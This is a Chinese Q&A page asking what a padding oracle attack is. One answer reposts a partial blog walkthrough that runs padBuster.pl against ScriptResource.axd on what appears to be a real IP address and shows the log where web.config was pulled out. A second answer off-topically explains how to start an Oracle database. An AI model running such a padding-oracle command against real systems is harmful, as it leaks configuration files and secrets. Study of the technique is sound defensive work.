oracle padding attack啥意思

发布网友发布时间：2022-05-06 05:35

共2个回答

懂视网时间：2022-05-06 09:57

经过一段时间的加密之后，我们得到了密文：

这里产生的密文就是加密后的 web.config 和一些填充的字符串组成的，因为此时我们不知道密钥的值，所以我们可以生成出加密后的 web.config 的字符串（这里实在是说的不清楚..总之可以暴力破解得到正确的密文就好了）。利用命令：

perl padBuster.pl http://61.157.135.8:81/ScriptResource.axd?d=y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -bruteforce -log

然后慢慢跑啊跑。

跑了很久之后，突然发现有一个返回的 Content-Length 与众不同，就像人群中闪耀的 P7 一般：

看一下 log 文件，的确是 web.config 的内容：

URL: http://61.157.135.8:81/ScriptResource.axd?d=UwAkAAAAAAAAAAAAAAAAAMtqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0
Post Data: 
Cookies:
Status: 200
Location: N/A
Content-Length: 47983
Content:
?


访问地址：http://61.157.135.8:81/ScriptResource.axd?d=UwAkAAAAAAAAAAAAAAAAAMtqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0

浏览器中同样显示出 web.config 的内容。



至此攻击成功。


0x04
需要注意的一点是，Padding Oracle Attack 不仅仅适用于对于 ASP .NET 的攻击，还适用于采用了 CBC 模式加密方式的各种场景下。

参考文章

http://www.2cto.com/Article/201310/253990.html

如上所述，Padding Oracle Attack 攻击的成立条件为：



攻击者能够获得密文，以及附带在密文前面的 IV （初始化向量）；
攻击者能够触发密文的解密过程，解密失败和解密成功的结果具有差异性，且能够知道密文解密后的结果。

另外所述工具在 Github 上搜索 padBuster.pl 即可。

心好乱_(:з」∠)_..
 
 本文出自：http://www.ricter.me, 原文地址：http://www.ricter.me/articles/Padding Oracle Attack 笔记, 感谢原作者分享。 




                                        

                        
                        热心网友
                        时间：2022-05-06 07:05
                    
                    启动oracle数据库步骤：首先使用oracle用户登录Linux，然后在shell命令行中执行下面的命令：第一步：打开Oracle监听$ lsnrctl start第二步：进入sqlplus$ sqlplus /nologSQL>第三步：使用sysdab角色登录sqlplusSQL> conn /as sysdba第四步：启动数据库SQL> startup经过上面的四个步骤，oracle数据库就可以启动了。关闭数据库用 shutdown 是要等待事物结束才关闭，强制关闭用 shutdown abort。